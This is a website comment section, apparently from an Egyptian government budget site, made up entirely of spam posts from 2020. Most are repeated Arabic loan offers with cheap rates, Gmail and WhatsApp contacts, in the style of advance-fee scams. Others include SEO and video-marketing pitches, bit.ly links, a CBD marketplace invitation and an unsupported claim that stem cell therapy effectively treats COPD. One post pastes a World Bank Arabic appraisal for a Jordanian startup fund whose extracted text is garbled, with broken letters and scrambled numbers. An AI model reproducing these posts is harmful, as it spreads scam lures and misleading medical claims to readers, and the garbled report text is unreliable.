يوم جيد، هل تحتاج إلى قرض مريح لإرضائك؟ نقدم قرضًا بسعر فائدة معقول بنسبة 3٪ للمقترضين المحليين والدوليين. نحن معتمدون وموثوقون وموثوقون وفعالون وسريعون وديناميكيون ونعمل معًا. نقدم قرضًا طويل الأجل من 1 إلى 50 عامًا على الأكثر. هل تحتاج إلى قرض مباشر وسهل وميسور التكلفة لسداد الديون أو بدء عمل تجاري أو لأي سبب آخر؟ إذا كان الأمر كذلك ، يرجى الاتصال بنا لطلب القرض الخاص بك. الخدمات تشمل: * قروض شخصية * قروض الأعمال * تجديد * قروض العملاء * قروض السيارات الخ .. مراسلتنا عبر البريد الإلكتروني على: accessloanfirm2030@gmail.com Whatsapp: +79258159150 نحن معتمدون ، موثوقة وموثوقة وفعالة وسريعة وديناميكية. اتصل بنا على: accessloanfirm2030@gmail.com بإخلاص، السيد سكوت accessloanfirm2030@gmail.com

mr scott

Saturday, July 4, 2020

يوم جيد، هل تحتاج إلى قرض مريح لإرضائك؟ نقدم قرضًا بسعر فائدة معقول بنسبة 3٪ للمقترضين المحليين والدوليين. نحن معتمدون وموثوقون وموثوقون وفعالون وسريعون وديناميكيون ونعمل معًا. نقدم قرضًا طويل الأجل من 1 إلى 50 عامًا على الأكثر. هل تحتاج إلى قرض مباشر وسهل وميسور التكلفة لسداد الديون أو بدء عمل تجاري أو لأي سبب آخر؟ إذا كان الأمر كذلك ، يرجى الاتصال بنا لطلب القرض الخاص بك. الخدمات تشمل: * قروض شخصية * قروض الأعمال * تجديد * قروض العملاء * قروض السيارات الخ .. مراسلتنا عبر البريد الإلكتروني على: accessloanfirm2030@gmail.com Whatsapp: +79258159150 نحن معتمدون ، موثوقة وموثوقة وفعالة وسريعة وديناميكية. اتصل بنا على: accessloanfirm2030@gmail.com بإخلاص، السيد سكوت accessloanfirm2030@gmail.com

Kristi Amiet

Thursday, July 2, 2020

Do you want to promote your website for totally free? Check this out: http://www.free-ad-posting.xyz

Tara Campbell

Thursday, July 2, 2020

Hey - I was checking out your site and I’m impressed with how clean and professional it looks. Adding video to your website has become an absolute MUST. Even something basic that clearly defines exactly what it is you're offering & why work with your company vs competitors... My team, based out of Toronto, Canada, creates quality animated explainer videos. Our award-winning videos are proven to increase customer engagement and decrease user bounce rate. Email me back for some explainer video samples, pricing, or just to say hi! --Tara Campbell Email: Tara.c@vidthebiz.com Website: VidTheBiz.com

NORTION LOAN CONSULTANT

Thursday, July 2, 2020

السلام عليكم لقد حان الوقت لتنمية عملك أثناء البقاء في المنزل ، فقد حان الوقت للعمل بذكاء وليس بجد أثناء الجلوس في المنزل. احصل على قرضك الفوري للاستثمار ودفع الفواتير بمعدل 0f 2.5٪ مع NORTION LOAN CONSULTANT. معلومات للتواصل البريد الإلكتروني: nortionloanconsultant@gmail.com الهاتف: +17815611941 (النص فقط) انستاجرام: قرض نورت تويتر: @ LoanNortion لينكد إن: NORTION LOAN Consultant حافظ على البقاء والحفاظ على المسافة.

NORTION LOAN CONSULTANT

Thursday, July 2, 2020

السلام عليكم لقد حان الوقت لتنمية عملك أثناء البقاء في المنزل ، فقد حان الوقت للعمل بذكاء وليس بجد أثناء الجلوس في المنزل. احصل على قرضك الفوري للاستثمار ودفع الفواتير بمعدل 0f 2.5٪ مع NORTION LOAN CONSULTANT. معلومات للتواصل البريد الإلكتروني: nortionloanconsultant@gmail.com الهاتف: +17815611941 (النص فقط) انستاجرام: قرض نورت تويتر: @ LoanNortion لينكد إن: NORTION LOAN Consultant حافظ على البقاء والحفاظ على المسافة.

NORTION LOAN CONSULTANT

Thursday, July 2, 2020

السلام عليكم لقد حان الوقت لتنمية عملك أثناء البقاء في المنزل ، فقد حان الوقت للعمل بذكاء وليس بجد أثناء الجلوس في المنزل. احصل على قرضك الفوري للاستثمار ودفع الفواتير بمعدل 0f 2.5٪ مع NORTION LOAN CONSULTANT. معلومات للتواصل البريد الإلكتروني: nortionloanconsultant@gmail.com الهاتف: +17815611941 (النص فقط) انستاجرام: قرض نورت تويتر: @ LoanNortion لينكد إن: NORTION LOAN Consultant حافظ على البقاء والحفاظ على المسافة.

NORTION LOAN CONSULTANT

Thursday, July 2, 2020

السلام عليكم لقد حان الوقت لتنمية عملك أثناء البقاء في المنزل ، فقد حان الوقت للعمل بذكاء وليس بجد أثناء الجلوس في المنزل. احصل على قرضك الفوري للاستثمار ودفع الفواتير بمعدل 0f 2.5٪ مع NORTION LOAN CONSULTANT. معلومات للتواصل البريد الإلكتروني: nortionloanconsultant@gmail.com الهاتف: +17815611941 (النص فقط) انستاجرام: قرض نورت تويتر: @ LoanNortion لينكد إن: NORTION LOAN Consultant حافظ على البقاء والحفاظ على المسافة.

Berenice Delaney

Thursday, July 2, 2020

Stem cell therapy has proven itself to be one of the most effective treatments for COPD (Chronic Obstructive Pulmonary Disorder). IMC is the leader in stem cell therapies in Mexico. For more information on how we can treat COPD please visit: https://bit.ly/copd-integramedicalcenter

Kerri Griver

Monday, June 29, 2020

Hi I would like to invite budget.gov.eg to join StockUpOnCBD.com, the world's very first wholesale CBD marketplace that connects CBD wholesalers with retailers. StockUpOnCBD.com is the world's first ever wholesale CBD marketplace that connects Hemp and CBD wholesalers with retailers. The platform has already been featured in famous magazines and newspapers and its active CBD blog is attracting an ever-growing quality traffic and subscriber base. Think of StockUpOnCBD.com as a central marketplace that brings together all the wholesale Hemp and CBD companies. Before approving Hemp and CBD wholesalers and distributors, we conduct rigorous due diligence to ensure that they meet the highest standards of quality and meet the relevant laws. This way, as a retailer, you will not have to worry about anything. If you are looking to expand your wholesale sales, join us right now. About Us: https://stockuponcbd.com/about-us How it Works: https://stockuponcbd.com/how-it-works I look forward to seeing you join the CBD revolution! Much love!

BryanG

Sunday, June 28, 2020

Hi. I have checked your budget.gov.eg and i see you've got some duplicate content so probably it is the reason that you don't rank high in google. But you can fix this issue fast. There is a tool that generates content like human, just search in google: miftolo's tools

Renaldo Holtermann

Sunday, June 28, 2020

Urgent. Services Needed. Please contact. Have a project - https://bit.ly/yestoservices

Lerent finances

Tuesday, June 23, 2020

هل كنت تبحث عن قرض في جميع أنحاء العالم وأنت ذاهب من خلال الأزمة المالية؟ التزامنا هو مساعدة المحتاجين على الكسب الاستقرار المالي من أجل تلبية احتياجاتك المالية. احصل على قرض من 50.000 إلى 150.000.000 في ($) و (€) و (£) بسعر فائدة 3٪ مع أو بدون ضمانات. إن قروضنا مؤمنة بشكل جيد وأقصى حد الأمن هو أولويتنا القصوى. لينريت للاستثمارات المالية المحدودة 340 Melton Road، ليستر، LE4 7SL. المملكة المتحدة الرقم المسجل: 00540583 هاتف: + 44-1163261393 Whatsapp: +447507108935 البريد الإلكتروني: ffunding@lenretfinancialinvestmentltd.com

Lerent finances

Tuesday, June 23, 2020

وثيقة من إعداد البنك الدولي لالستخدام الرسمي فقط رقم التقرير: PAD2308 البنك الدولي لإلنشاء والتعمير وثيقة تقييم مشروع قرض مقترح بقيمة 50 مليون دوالر مقدم إلى المملكة األردنية الهاشمية لتمويل مشروع صندوق الشركات الناشئة اإلبتكارية 2 يونيو/ حزيران 2017 مجموعة الممارسات العالمية المعنية بالتمويل واألسواق منطقة الشرق األوسط وشمال أفريقيا يقتصر توزيع هذه الوثيقة على الجهات واألفراد المرسلة إليهم للقيام بواجباتهم الرسمية. وال يجوز بخالف ذلك الكشف عن مضمونها دون إذن من البنك الدولي " ترجمة غير رسمية. النسخة الصادرة باللغة االنجليزية هي النسخة التي ُيعتد بها فقط" Public Disclosure Authorized Public Disclosure Authorized Public Disclosure Authorized Public Disclosure Authorized البنك الدولي مشروع صندوق الشركات الناشئة اإلبتكارية )P161905) 1 أسعار العملة والقيمة المعادلة لها )سعر الصرف الساري في 30 أبريل 2017) دينار أردني وحدة العملة = دينار أردني = 41.1 دوالر أمريكي دوالر أمريكي = 710.0 دينار أردني السنة المالية 1 يناير/ كانون الثاني – 31 ديسمبر/ كانون األول نائب الرئيس اإلقليمي: حافظ غانم القائم بأعمال المدير القطري: كانثان شانكار مدير أول عملية الممارسة العالمية: سيليا بزارباس إيغولو مدير قطاع الممارسات: جان بزمي رئيس فريق العمل: راندا عقيل البنك الدولي مشروع صندوق الشركات الناشئة اإلبتكارية )P161905) 2 هل هذا المشروع مشروعاً إقليمياً؟ ال الدولة )الدول( أداة التمويل تمويل مشروع استثماري ] [ المواقف التي تحتاج إلى مساعدات عاجلة أو تقتضي فرض قيود على اإلمكانات ] ]الوسطاء الماليون ] [ سلسلة المشروعات تاريخ االعتماد 23 يونيو/ حزيران 2017 تاريخ اإلغالق 2023 نوفمبر 30 فئة التقييم البيئي F - تقييم الوسيط المالي البنك/ مؤسسة التمويل الدولية نعم المستوى المشترك مشروع تكميلي أو مستقل يتطلب التنسيق الفعال الهدف اإلنمائي المقترح يتمثل الهدف اإلنمائي للمشروع في زيادة تمويل رأس المال الخاص في المراحل المبكرة ألعمال المؤسسات االبتكارية الصغيرة والمتوسطة. المكونات اسم المكون التكلفة )بالمليون دوالر( برنامج تمويل مختلط من رأس المال والدين 75.44 دعم خلق تدفق الصفقات 13.3 إدارة المشروع وتنسيقه ومتابعته وتقييمه 00.2 المنظمات الجهة المقترضة: الحكومة األردنية الجهة المنفذة: الشركة االردنية لضمان القروض بيانات تمويل المشروع )بالمليون دوالر أمريكي( ][ التمويل المناظر ][ البنك الدولي لإلنشاء والتعمير ][ قروض المؤسسة الدولية للتنمية ][ نافذة التصدي لألزمات ][ نافذة المشروعات اإلقليمية ][ منح المؤسسة الدولية للتنمية ][ نافذة التصدي لألزمات ][ نافذة المشروعات اإلقليمية ][ الصناديق االستنمائية ][ التمويل المتوازي التكلفة اإلجمالية للمشروع: 98.00 إجمالي التمويل: 98.00 قيمة تمويل البنك )البنك الدولي لإلنشاء والتعمير/ المؤسسة الدولية للتمويل( 50.00 الفجوة التمويلية: 0.00 التمويل )بالمليون دوالر( مصدر التمويل المبلغ البنك الدولي لإلنشاء والتعمير 00.50 مصادر محلية من الدولة المقترضة 48.00 القيمة اإلجمالية 00.98 المدفوعات المتوقعة )بالمليون دوالر أمريكي( 2024 2023 2022 2021 2020 2019 2018 2017 المالية السنة 1.00 4.00 5.00 5.00 7.50 7.50 20.00 0.00 السنوية المدفوعات 50.00 49.00 45.00 40.00 35.00 27.50 20.00 0.00 التراكمية المدفوعات البيانات المؤسسية: قطاع الممارسة الرئيسي: التمويل واألسواق قطاعات الممارسة المشاركة: الحوكمة التجارة والقدرة التنافسية التصنيف على أساس النوع اإلجتماعي: هل من المقرر أن ينفذ المشروع أي مما يلي؟ أ- في ضوء الفجوات القطرية المحددة من خالل تحليل لتحديد الفجوات ذات الصلة بالمشروع بين اإلناث والذكور، وتحديدا التشخيص القطري ً المنهجي وإطار الشراكة القطرية البنك الدولي مشروع صندوق الشركات الناشئة اإلبتكارية )P161905) 3 ال للنقطة )أ( أعاله و/أو تحسين تمكين اإلناث أو الذكور ب- إجراء )إجراءات( محددة للتغلب على الفجوات المتعلقة بالنوع االجتماعي والمحددة وفقاً نعم ج- إدراج مؤشرات في إطار النتائج لمتابعة نواتج اإلجراءات المحددة في النقطة )ب( نعم أداة تصنيف مخاطر العمليات المنهجية فئة المخاطر التصنيف 1 -مخاطر السياسة والحوكمة  متوسطة 2 -مخاطر االقتصاد الكلي  كبيرة 3 -مخاطر استراتيجيات وسياسات القطاع  كبيرة 4 -مخاطر التصنيف الفني للمشروع أو البرنامج  كبيرة 5 -مخاطر القدرة المؤسسية للتنفيذ واالستدامة  كبيرة 6 -المخاطر االئتمانية  مرتفعة 7 -المخاطر البيئية واإلجتماعية  متوسطة 8 -أصحاب المصلحة  منخفضة 9 -مخاطر أخرى  10 -المخاطر الكلية  كبيرة االمتثال السياسة هل ينطلق المشروع من إطار الشراكة اإلستراتيجية من حيث المضمون أو من أي جانب أخر؟ نعم ] [ ال ]] هل يتطلب المشروع أي استثناءات من سياسات البنك؟ نعم ] [ ال ]] سياسات الضمانات الوقائية التي تم تفعيلها بسبب المشروع نعم ال  )OP/BP 4.01( البيئي التقييم  )OP/BP 4.04( الطبيعية الموائل  )OP/BP 4.36( الغابات  )OP 4.09( اآلفات مكافحة  )OP/BP 4.11( المادية الحضارية الموارد  )OP/BP 4.10( األصلية الشعوب  )OP/BP 4.12( القسرية التوطين إعادة  )OP/BP 4.37( السدود سالمة المشاريع على مجاري المياه الدولية )50.7 BP/OP ) المشروعات المقامة في المناطق المتنازع عليها )60.7 BP/OP ) المواثيق القانونية األقسام والوصف ملحق 2 ،القسم األول )أ( 1 من اتفاقية القرض: تمويل مشترك من البنك المركزي األردني بمبلغ يعادل 000.880.13 دوالر أمريكي في موعد ال يتجاوز 45 يوماً من تاريخ دخول االتفاقية حيز التنفيذ. األقسام والوصف ملحق 2 ،القسم األول )أ( 2 من اتفاقية القرض: تعيين مدير لصندوق الشركات الناشئة والمؤسسات الصغيرة والمتوسطة االبتكارية في موعد ال يوما من تاريخ دخول االتفاقية حيز التنفيذ. ً يتجاوز 90 األقسام والوصف ملحق 2 ،القسم األول )أ( 2( هـ( من اتفاقية القرض: تعيين محاسب أول في موعد ال يتجاوز 90 يوماً من تاريخ دخول االتفاقية حيز التنفيذ. األقسام والوصف ملحق 2 ،القسم األول )أ( 2( و( من اتفاقية القرض: إقرار تخطيط موارد المؤسسة أو نظام البرمجيات المحاسبية األخرى في موعد ال يتجاوز 180 يوماً من تاريخ دخول االتفاقية حيز التنفيذ. األقسام والوصف ملحق 2 ،القسم األول )أ( 2( ح( من اتفاقية القرض: تعيين مدقق خارجي لصندوق الشركات الناشئة والمؤسسات الصغيرة والمتوسطة االبتكارية في موعد ال يتجاوز 6 أشهر من تاريخ دخول االتفاقية حيز التنفيذ. األقسام والوصف ملحق 2 ،القسم األول )أ( 2( ي( من اتفاقية القرض: تشكيل لجنة لالستثمار خالل 180 يوماً من تاريخ دخول االتفاقية حيز التنفيذ. البنك الدولي مشروع صندوق الشركات الناشئة اإلبتكارية )P161905) 4 الشروط النوع الفعالية الوصف 5-01( أ( من اتفاقية القرض: تم التصديق على االتفاقية الفرعية حسب األصول من قبل الجهة المقترضة وقامت الشركة ا للجهة المقترضة والشركة عمال بأحكام االتفاقية ً األردنية لضمان القروض وهي اتفاقية ملزمة قانون النوع الفعالية الوصف 5-01( ب( من اتفاقية القرض: تم التصديق على اتفاقية اإلدارة المبرمة بين صندوق الشركات الناشئة والمؤسسات ملزمة قانونا عمال بأحكام االتفاقية. ً الصغيرة والمتوسطة االبتكارية ومدير الصندوق حسب األصول وهي اتفاقية النوع الفعالية الوصف 5-01( ج( من اتفاقية القرض: أنشئت الشركة األردنية لضمان القروض صندوق الشركات الناشئة والمؤسسات الصغيرة والمتوسطة االبتكارية عمال بالقوانين واللوائح التي تضعها الجهة المقترضة حيث تمنح الصندوق صالحية أداء المهام وااللتزامات المسندة إليه في إطار المشروع. النوع الفعالية الوصف 5-01( د( من اتفاقية القرض: وقعت الشركة األردنية لضمان القروض والبنك المركزي األردني عقد التأسيس والنظام األساسي، وهي اتفاقية ملزمة قانونا والبنك المركزي عمال بأحكام االتفاقية. ً على الشركة األردنية النوع اإلنفاق الوصف ملحق رقم 2 ،القسم الرابع، ب-1( ب(: تعيين كبير المسئولين الماليين بمعرفة صندوق الشركات الناشئة والمؤسسات الصغيرة والمتوسطة االبتكارية مدة المشروع فريق عمل البنك االسم الوظيفة التخصص الوحدة راندا عقيل رئيس فريق العمل )المسئول اإلداري ( التمويل GFM05 سميرة الحارثي أخصائي المشتريات )المسئول اإلداري ( المشتريات GGO05 لينا فارس أخصائي المشتريات المشتريات GGO05 وليد حمود علي النجار أخصائي اإلدارة المالية اإلدارة المالية GGO23 علي أبوكميل عضو فريق العمل أخصائي أول القطاع الخاص GTC05 أندريانيرينا ميشيل إيريك رانجيفا عضو فريق العمل المدفوعات WFALN كونسيبسيون عيسى أوتين عضو فريق العمل خزانة البنك الدولي FABBK إلين أوالفسن مسئول استعراض األقران تنمية المعلومات GTCID إيسيمكا إبوكاه عضو فريق العمل أخصائي القطاع المالي GFM05 عيسى اغابي عضو فريق العمل وحدة رأس المال المخاطر التابعة لمؤسسة التمويل الدولية CTTVI جاد راجي مزاهرة عضو فريق العمل اإلدارة المالية GGO23 جون سبيكمان مسئول استعراض األقران التجارة والتنافسية GTC05 جوستين بيرس وليام هيل عضو فريق العمل أخصائي أول القطاع الخاص GTCIE لوسيرو ديل كارمن بورغا برافو دي رويدا GFM05 عضو فريق العمل اقتصادي ماريانا فيليسيو أخصائي الضمانات الوقائية الضمانات الوقائية االجتماعية GSU05 مارجوري بينيسا إسبيريتو عضو فريق العمل مساعد المشروع GFM05 ميهاسونيرينا أندريانايفو مسئول استعراض األقران تمويل المؤسسات الصغيرة والمتوسطة GFM06 ناتاليا روبالينو عضو فريق العمل قانوني LEGIA روججار باريزيك مسئول استعراض األقران وحدة رأس المال المخاطر التابعة لمؤسسة التمويل الدولية CTTVI سيرين شاالن عضو فريق العمل دعم النظام البيئي الشامل GTC05 سيمو سي بيل مسئول استعراض األقران وصول المؤسسات الصغيرة والمتوسطة إلى التمويل GFM2A ستيف وان يان لون عضو فريق العمل العمليات GFM05 تريسي هارت أخصائي الضمانات الوقائية البيئة GEN05 الفريق اإلضافي االسم الوظيفة المنظمة المكان البنك الدولي مشروع صندوق الشركات الناشئة اإلبتكارية )P161905) 5 المملكة األردنية الهاشمية مشروع صندوق الشركات الناشئة اإلبتكارية جدول المحتويات أوال – السياق االستراتيجي ..........................................................................................................7 أ- السياق القطري .................................................................................................................7 ب- السياق القطاعي والمؤسسي..................................................................................................8 ج- األهداف رفيعة المستوى التي يساهم المشروع في تحقيقها ...............................................................14 د- العالقة بمشروعات البنك الدولي األخرى ..................................................................................14 ثانيا. األهداف اإلنمائية للمشروع ..................................................................................................15ً أ. األهداف اإلنمائية للمشروع .................................................................................................15 ب.الجهات المستفيدة من المشروع 16 ج.الهدف اإلنمائي للمشروع - المؤشرات على مستوى النتائج .............................................................16 ثالثا. وصف المشروع..............................................................................................................17ً أ- مكونات المشروع ............................................................................................................19 ب. تكلفة المشروع وتمويله.....................................................................................................23 ج. الدروس المستفادة المتجلية في تصميم المشروع ..........................................................................24 رابعا. التنفيذ ........................................................................................................................25ً أ- الترتيبات المؤسسية والتنفيذية ...............................................................................................25 ب- نتائج المتابعة والتقييم.......................................................................................................27 ج- االستدامة ....................................................................................................................27 خامسا. المخاطر األساسية .........................................................................................................27ً أ- التقييم اإلجمالي للمخاطر وشرح أبرزها....................................................................................27 سادسا. ملخص التقييم ..............................................................................................................29ً أ- التحليل المالي واالقتصادي ..................................................................................................29 ب- تحليل الجوانب الفنية .......................................................................................................30 ج. اإلدارة المالية................................................................................................................31 د- اإلنفاق........................................................................................................................32 هـ المشتريات....................................................................................................................33 و- تحليل الجوانب اإلجتماعية )متضمنة الضمانات الوقائية(.................................................................33 ز- تحليل الجوانب البيئية )متضمنة الضمانات الوقائية(......................................................................34 ح- سياسات أخرى للضمانات الوقائية .........................................................................................35 ط- آلية البنك الدولي للتعامل مع الشكاوى والتظلمات.........................................................................35 البنك الدولي مشروع صندوق الشركات الناشئة اإلبتكارية )P161905) 6 سابعا. إطار النتائج ومتابعتها ......................................................................................................36ً ملحق رقم 1 :وصف تفصيلي للمشروع ..........................................................................................43 ملحق رقم 2 :ترتيبات التنفيذ ......................................................................................................55 ملحق رقم 3 :خطة دعم التنفيذ ....................................................................................................72 ملحق رقم 4 :النظام البيئي الشامل لريادة األعمال وتمويل الشركات الناشئة والمؤسسات الصغيرة والمتوسطة في األردن.74 ملحق رقم 5 :البرنامج الحكومي الذي أوصى به مجلس السياسات االقتصادية والذي اعتمده مجلس الوزاراء في سبتمبر/ 82........................................................................................................................2016 أيلول ملحق رقم 6 :الدعم الحالي المقدم لتمويل المؤسسات الصغيرة والمتوسطة في األردن ........................................85 ملحق رقم 7 .المصطلحات الفنية..................................................................................................87 ملحق رقم 8 .التنبؤات المالية الخاصة بالمشروع ................................................................................89 البنك الدولي مشروع صندوق الشركات الناشئة اإلبتكارية )P161905) 7 أوال – السياق االستراتيجي أ- السياق القطري 1 -شهد معدل النمو االقتصادي في األردن حالة من االنخفاض نتيجة آلثار التباطؤ االقتصادي العالمي واألزمة اإلقليمية الحالية. ومن المتوقع أن يظل معدل النمو االقتصادي في األردن ثابتا 3.2 %في 2016 ً عند 1 ، ولكن بالوصول إلى نسبة 2 ،%شهد النمو االقتصادي أقل معدالته في أربع سنوات، أي إنخفاض عن 2014 بنسبة 9.0 نقطة مئوية. وقد أثرت تداعيات األزمة السورية تأثيرا األردني بسبب إغالق طرق التجارة مع العراق وسوريا ألسباب أمنية وتراجع أعداد السياح ً سلبياً على االقتصاد وتراجع نشاط قطاع التعدين والمحاجر بسبب االنخفاض في أسعار البوتاس على مستوى العالم. أما القطاعات التي ساهمت )الذي تم نشره مؤخرا فهي قطاعات "النقل والتخزين واالتصاالت" ً بأكبر قدر من النمو في الربع الثالث من عام 2016) 2 و"خدمات التمويل والتأمين". وقد أدى تدفق أكثر من 496,655 الجئاً سورياً مسجال منذ عام 2012 إلى زيادة الطلب على الطاقة والمياه، والخدمات العامة وزيادة الضغط على اإلنفاق الحكومي. 2 -يعد ارتفاع معدل البطالة من التحديات الرئيسية، لذا يعتبر خلق فرص العمل في القطاع الخاص من أولويات برنامج تعزيز أوضاع المالية العامة الجاري تنفيذه، األمر الذي يؤدي إلى تغيير الدور التاريخي للحكومة كمصدر رئيسي أو وحيد لتوفير 3 الوظائف . إضافة إلى ذلك، ينخفض مستوى مرونة العمالة في األردن 4 . وال تزال البالد تعاني من تزايد معدالت البطالة - فقد 6 . وازدادت معدالت البطالة بين الشباب )35 %5 ارتفعت التقديرات من 9.11 %في عام 2014 إلى 3.15 %في 2016 ) وبين النساء حيث بلغ معدل البطالة بينهن خالل التسعة أشهر األولى من عام 2016( 9.23 )%في حين بلغ معدل البطالة بين 7 الرجال 2.13%ل في الفترة نفسها . وقد انخفض معدل العمالة بشكل ملحوظ منذ عام 2009 ،حيث بلغ متوسطه 7.30 ٪في 8 التسعة أشهر األولى من عام 2016 . للمستوى التعليمي الجيد الذي يتمتع به العمال 3 -معظم شركات القطاع الخاص األردني تندرج تحت الطابع غير الرسمي. نظراً األدرنيين، فإنهم يفضلون البقاء دون عمل حتى يتمكنون من الحصول على وظيفة في القطاع العام، بل ويمكن أن يظلون دون 9 عمل لعقود، معتمدين على التحويالت المالية من األقارب العاملين في دول مجلس التعاون الخليجي . ومع هبوط أسعار البترول والجهود التي تبذلها حكومات دول مجلس التعاون الخليجي لدعم توظيف مواطنيها، فإن هذا السيناريو ال يمكن أن يستمر، وال بد أن يقوم األردن بتغيير العقد االجتماعي وتيسير فرص اقتصادية بديلة لألردنيين من خالل تطوير القطاع الخاص ليصبح أكثر فعالية وتنافسية. 4 -وفقاً لتقرير البنك الدولي "الوظائف واالمتيازات" لعام 2014 ،في األردن )تقرير رقم 92870 ،)تتوافر الوظائف في األردن في المقام األول من قطاعات البيع بالتجزئة والخدمات التي تهيمن عليها الشركات متناهية الصغر والتي غالباً ما بالدول األخرى تمثل االقتصاد غير الرسمي، ولكنها أقل إنتاجية في األردن مقارنة . كما ساهمت بعض األنشطة ذات اإلنتاج ً المرتفع مثل قطاع المواد الكيميائية والمستحضرات الدوائية وقطاع األغذية والتمويل في خلق فرص العمل؛ حيث توفر هذه القطاعات 28 ٪من إجمالي صافي فرص العمل بين عامي 2006 و2011 .ويتبين من التقرير كذلك أن الشركات الناشئة )الشركات التي يقل عمر نشاطها التجاري عن 4 سنوات( هي مصدر توفير صافي فرص العمل في األردن، مثل معظم البلدان األخرى. 5 -ومع ذلك، ينخفض معدل إنشاء الشركات الناشئة بسبب العوائق التي تعترض بيئة األعمال وفرص الحصول على التمويل. الشركات ذات المسئولية المحدودة سنوياً فلكل 10 آالف شخص في سن العمل، يتم إنشاء 7 شركات جديدة فقط من في األردن بنحو مقارنة 26 شركة جديدة في الدول النامية األخرى في جميع أنحاء العالم. وتتراوح كثافة الدخول في العديد من البلدان ً . حتى بين 10 النامية سريعة النمو مثل صربيا والبرازيل وكرواتيا وشيلي وبلغاريا بين ثالثة وعشرة أضعاف كثافته في األردن حديثا، يتجه الكثيرون إلى اإلنتقال إلى دبي، التي اتخذت لنفسها وضع شركة رائدة إقليمياً بين شبكات ً الشركات التي تم تأسيسها 1 موجز االجتماع المنعقد في ربيع 2017 ،البنك الدولي. 2 مفوضية األمم المتحدة لشؤون الالجئين – 19 يناير/ كانون الثاني 2017 3 التوقعات االقتصادية لصندوق النقد الدولي لتقديرات االستراتيجية الوتطنية للتوظيف 4 وفقا 2010-2011 ،يبلغ معدل نمو مرونة العمالة في األردن 42.0 بين عامي 2000 و2008ً . 5 البنك الدولي، المراقب االقتصادي في األردن، خريف 2016 6 متوسط التسعة أشهر األولى من عام 2016 .دائرة اإلحصاءات العامة األردنية 7 دائرة اإلحصاءات العامة األردنية 8 البنك الدولي، المراقب االقتصادي في األردن، خريف 2016 9 نمو الوظائف دون خفض معدل البطالة: تجربة األردن، سوزان رزاز وفاروخ إقبال، البنك الدولي، 10 أبريل/ نيسان 2008 10 التقرير اإلقليمي لعام 2014 الصادر من البنك الدولي. وظائف أم امتيازات: إطالق اإلمكانات لخلق فرص العمل في الشرق األوسط وشمال أفريقيا، عدد موجز عن األردن. البنك الدولي مشروع صندوق الشركات الناشئة اإلبتكارية )P161905) 8 تمويل الشركات الناشئة. 6 -في أكتوبر/ تشرين األول 2016 ،أصدر مجلس السياسات االقتصادية األردني مجموعة توصيات مكونة من 38 توصية 11 لمساعدة الحكومة في تخطي العقبات االقتصادية وتعزيز االقتصاد القومي. وفد أقر المجلس جميع هذه التوصيات في 7 تنفيذ هذه التدابير في أسرع وقت ممكن 12 سبتمبر/ أيلول 2016 مستهدفاً )انظر الملحق رقم 5 الذي يشمل جميع التوصيات(. وكانت أولى التوصيات التي اقترحها المجلس تأسيس صندوق لتيسير تمويل الشركات الناشئة والمؤسسات الصغيرة والمتوسطة االبتكارية سعياً وراء زيادة مستوى الشركات الناشئة التي تمتلك إمكانات نمو عالية. في هذا اإلطار، طلبت حكومة األردن من البنك الدولي قرض بقيمة 50 مليون دوالر لتأسيس الصندوق المذكور لتوفير التمويل للشركات الناشئة، كما طلبت من البنك تزويدها بالدعم المطلوب للمساعدة في تعزيز األفكار اإلبداعية وتنمية المؤسسات التجارية القادرة على البقاء. ب- السياق القطاعي والمؤسسي 7 -يواجه النظام البيئي الشامل لريادة األعمال في األردن العديد من الفجوات والتحديات والتي تحول دون إنشاء الشركات الناشئة ونموها، ويتصدر التمويل قائمة هذه التحديات. من جانب رواد األعمال )أي جانب الطلب(، يفتقر العديد من األفراد إلى التعليم والتدريب المالئم المطلوب لنجاح تنمية األعمال، ويدير رواد األعمال أنشطتهم في بيئة أعمال مرهقة وغير واضحة إلى عدم كفاية المنتجات المالية التي يمكن أن تدعم رائد األعمال طوال فترة حياة المشروع. ومن من الناحية التنظيمية، إضافةً جانب السياسة، هناك قيود على إنشاء الصناديق االستثمارية وتحديات ذات صلة بالضرائب واإلفالس والحد األدنى من رأس المال، ويتم تناولها من خالل مختلف البرامج التي ينفذها البنك الدولي ومنظمات التنمية الدولية األخرى. ومن جانب المستثمر )جانب الطلب(، يرغب المستثمر في رؤية أفكار ابتكارية ورواد أعمال وعمال مهرة حتى ال تتعرض أعماله للفشل، كما يرغب في هيكل قانوني وتنظيمي وضريبي مالئم لمختلف أدوات التمويل ولحماية ما لهم من حقوق وأصول، والقدرة على استرداد أموال في حالة التصفية )حماية المستثمر وقانون اإلفالس وحماية حقوق الملكية الفكرية(. نعرض أدناه وصف للموضوعات ذات الصلة بجانبي العرض والطلب على تمويل المرحلة المبكرة من األعمال. النظام البيئي الشامل لريادة األعمال واإلبتكار 8 -ويتألف النظام البيئي الشامل لريادة األعمال من جميع األشخاص أو المؤسسات أو المنظمات المشاركة في تقديم خدمة أو منتج والطلب على التمويل. وعند اإلشارة إلى االبتكار والمؤسسات الصغيرة والمتوسطة، يمكن للجهات الفاعلة الرئيسية أن تصبح من رواد األعمال أو الشركات الناشئة أو شبكات المستثمرين أو شبكات المرشدين أو المستخدمين النهائيين أو الحكومات أو غيرها. 9 -صنف مؤشر ريادة األعمال العالمي، وهو الطريقة االكثر شمولية للمعايرة السنوية لنظم بيئة األعمال الوطنية على مستوى العالم، األردن في المرتبة 64 من أصل 132 دولة والمرتبة العاشرة بين دول منطقة الشرق األوسط وشمال أفريقيا. يتضح من بيانات مؤشر ريادة األعمال العالمي أن األردن قد سجل معدالت ترتفع عن المتوسط العالمي في تصور الفرص ومهارات الشركات الناشئة والشبكات وإبتكار المنتجات ومؤشرات النمو المرتفع، لكنها سجلت معدالت أقل من المعدالت العالمية من حيث قبول المخاطر ورأس مال المخاطر. وعلى هذا، تقر العديد من كيانات دعم المشروعات أنه دون توافر التمويل، يصبح من الصعب توفير الشركات الناشئة بالجودة والكمية التي يحتاج إليها االقتصاد. أمر الملك بتشكيل مجلس السياسات االقتصادية في يونيو/ حزيران 2016 ،وأسند إليه مهمة مناقشة السياسات والبرامج االقتصادية وخطط التنمية. 11 ً، ويتولى كذلك مسئولية تحديد المعوقات الرئيسية التى تعوق النمو ويمارس المجلس مهامه تحت اإلشراف المباشر للملك، ويتألف من 15 عضوا االقتصادى واقتراح الحلول للتغلب عليها. ورئيس الوزراء هو الممثل الحكومي الوحيد المشارك في مجلس اإلدارة. ومن بين أعضاء المجلس اآلخرين محافظ البنك المركزي األردني ومدير إدارة التنمية االقتصادية واالجتماعية بالمحكمة الملكية الهاشمية، بوصفه مقرر المجلس، وممثلين عن القطاع الخاص وخبراء اقتصاديين. تركز هذه 